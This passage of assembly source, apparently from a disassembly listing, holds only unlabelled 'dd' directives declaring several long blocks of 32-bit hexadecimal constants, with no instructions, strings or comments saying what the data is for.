		dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h
		dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h,	5CAE8499h
		dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h
		dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh
		dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h
		dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh
		dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh
		dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh
		dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h,	6F7A982h
		dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh,	0CC9D42F3h
		dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh
		dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch
		dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh,	0D63EE341h
		dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h
		dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh,	3691D196h
		dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h,	0BCE1AB2Fh
		dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh,	0A46F835Dh
		dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h,	1375FFC0h
		dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h
		dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h
		dd 1FBC4C3Ch, 0CC22D34h
		dd 8D185B7h, 3A7EF766h,	70106193h, 45A148BEh, 0E658A799h
		dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h,	7D780757h
		dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h
		dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh
		dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h
		dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh,	8382B2FAh
		dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h,	507CF4AEh
		dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h
		dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh
		dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh
		dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h
		dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh
		dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh
		dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh
		dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h
		dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h,	0ADE9C8DAh
		dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh
		dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh
		dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah
		dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h,	0C2DBE4EBh
		dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h
		dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh
		dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh
		dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h
		dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh,	37D5D85Ah
		dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh,	8A8AB4E9h
		dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h,	2AFB6DD3h
		dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh
		dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h
		dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h,	0F3D8B677h
		dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h
		dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh,	91F5DDD7h
		dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh,	48D999FDh
		dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h
		dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h,	0B0EADD74h
		dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h
		dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h
		dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h
		dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh
		dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h
		dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh
		dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h
		dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h
		dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h
		dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch
		dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h
		dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h
		dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh
		dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah,	7BB19B6Dh
		dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h,	9E41E3CAh
		dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h
		dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh,	1DE766CFh
		dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h
		dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh,	38FB09E4h
		dd 990E6641h, 17E0128h,	30FD6B27h, 6415D850h, 515BEDD4h
		dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h
		dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h
		dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h,	4D428BBFh
		dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h
		dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah,	6F43BA9h
		dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h
		dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh
		dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h
		dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh,	4B5B18AFh
		dd 56FBEB8h, 5BDD2D69h,	772D0BB7h, 29BDFF85h, 823C52C6h
		dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h,	0B470F665h
		dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh,	0E699344Ah
		dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh,	0F792AE93h
		dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h,	8C89C399h
		dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h,	50AAFC26h
		dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h
		dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h,	70878737h
		dd 7427C6A5h, 20545EDh,	233419F9h, 0DADD7D74h, 0AAC2C099h
		dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h
		dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h
		dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh
		dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh,	0EF4DC461h
		dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh
		dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh,	7EB8010h
		dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh
		dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h,	549CC270h
		dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h
		dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h
		dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h
		dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh,	0F9C05462h
		dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh,	0AD7271C5h
		dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh,	8B281BB5h
		dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h,	0CEDA1FF2h
		dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h
		dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h
		dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh,	50085EFEh
		dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h,	755CC814h
		dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh
		dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h
		dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h
		dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h,	0C96BD6E5h
		dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h,	1DD574F7h
		dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh
		dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h
		dd 9607D556h, 8D48B5Ch,	5B144C7Dh, 0AA0E13C4h, 913B6959h
		dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh
		dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh
		dd 0CCBC0585h, 2C92DA4Dh
		dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h,	0BEBD6C49h
		dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h,	139BFC96h
		dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h
		dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh
		dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch
		dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h
		dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h
		dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h
		dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h
		dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h
		dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh,	958028AFh
		dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h,	0CFA78CBBh
		dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h,	1B8E09DEh
		dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h
		dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h
		dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h
		dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh
		dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh
		dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh
		dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h,	2EF154B6h
		dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h
		dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h
		dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h,	8074765h
		dd 995E90Dh, 576DF276h,	14E862D0h, 11473749h, 388F1F10h
		dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h,	4D9953BBh
		dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh
		dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch
		dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah
		dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh
		dd 9752881h, 2E2B4CA0h,	0AF7AB2B1h, 5C54FE44h, 22D5E7B2h
		dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh
		dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh
		dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh,	0C336F78Bh
		dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah
		dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h
		dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h,	7EC93544h
		dd 2756665h, 35EEF38Ah,	0AA455912h, 1A5E17DEh, 0E9F042EDh
		dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h,	0A46EAE6Bh
		dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h,	0F69A335Bh
		dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h,	41D0A5B5h
		dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh
		dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h
		dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h,	3CCC03B4h
		dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h
		dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h
		dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh
		dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h
		dd 1265957Dh, 6DB1283h,	4B462B28h, 0DC27C99Ah, 79F9AAE7h
		dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h,	0C0188357h
		dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h
		dd 3AA423Fh, 0C281412h,	3BF93235h, 0A4862BD0h, 6827F4C3h
		dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h,	800889B3h
		dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h
		dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h
		dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h
		dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh
		dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h
		dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h
		dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h
		dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h,	285F06EAh
		dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh
		dd 5EA4047h, 9E2EFF6Ch,	6E612844h, 4E7739F6h, 36F2DB48h
		dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh
		dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh
		dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh
		dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h,	4A7E5377h
		dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h
		dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh
		dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h
		dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h
		dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h
		dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh
		dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh
		dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h,	3E37FE74h
		dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h
		dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h,	4685BBC8h
		dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h,	0D3CD08D4h
		dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h
		dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h
		dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h
		dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h
		dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h
		dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch
		dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h
		dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh
		dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch
		dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh,	0DDB20D4Dh
		dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh
		dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h,	55D0C570h
		dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h,	0C6D26E24h
		dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh
		dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h
		dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh,	2881CE79h
		dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h
		dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h
		dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h
		dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h,	927481C6h
		dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh
		dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh
		dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h
		dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh
		dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h
		dd 8CCABFA0h, 6CC919E1h
		dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h
		dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h
		dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh
		dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h,	9360F6B7h
		dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h
		dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h
		dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h,	0D18ACB0Ch
		dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h
		dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh
		dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h
		dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h
		dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h
		dd 628538F7h, 5D559AFh,	8CEE57EFh, 7466112Fh, 0B44E5D08h
		dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh
		dd 28632BC3h, 7EA5394h,	4DEC9DCFh, 0DB7707A0h, 3CFE579Ah
		dd 0D24623F0h, 97CF61h,	0C2BDB5EAh, 0FF707D61h,	12DD12F1h
		dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh
		dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch
		dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h
		dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh
		dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h,	46BDE22Bh
		dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh
		dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h
		dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h,	3156D4C0h
		dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah
		dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h,	8C6B80FEh
		dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h,	48D28119h
		dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h,	98F2E827h
		dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h
		dd 5361C6CEh, 54DC0E1h,	0D1970AB1h, 0DA7CB64Eh,	99912CF6h
		dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh,	0D72C3916h
		dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh
		dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h,	576CD3B7h
		dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h
		dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh
		dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh,	0D430C5F2h
		dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh
		dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh
		dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h,	0D335161h
		dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h
		dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h
		dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh,	8FEAAC0h
		dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh
		dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch
		dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h
		dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh,	0E23530EFh
		dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h
		dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h
		dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh,	0BE2EE3ABh
		dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h
		dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh
		dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh
		dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h
		dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h
		dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch
		dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h
		dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh
		dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh
		dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h
		dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h,	800A4BD8h
		dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h
		dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h,	0FD1322F6h
		dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h
		dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh
		dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h,	4CF833C6h
		dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h
		dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h,	0F7F889FDh
		dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh,	509A1D2h
		dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh
		dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h
		dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h
		dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h,	0BDED288Ah
		dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh,	2BF66227h
		dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh
		dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h,	28E96FEEh
		dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh
		dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch
		dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h,	0D792946Bh
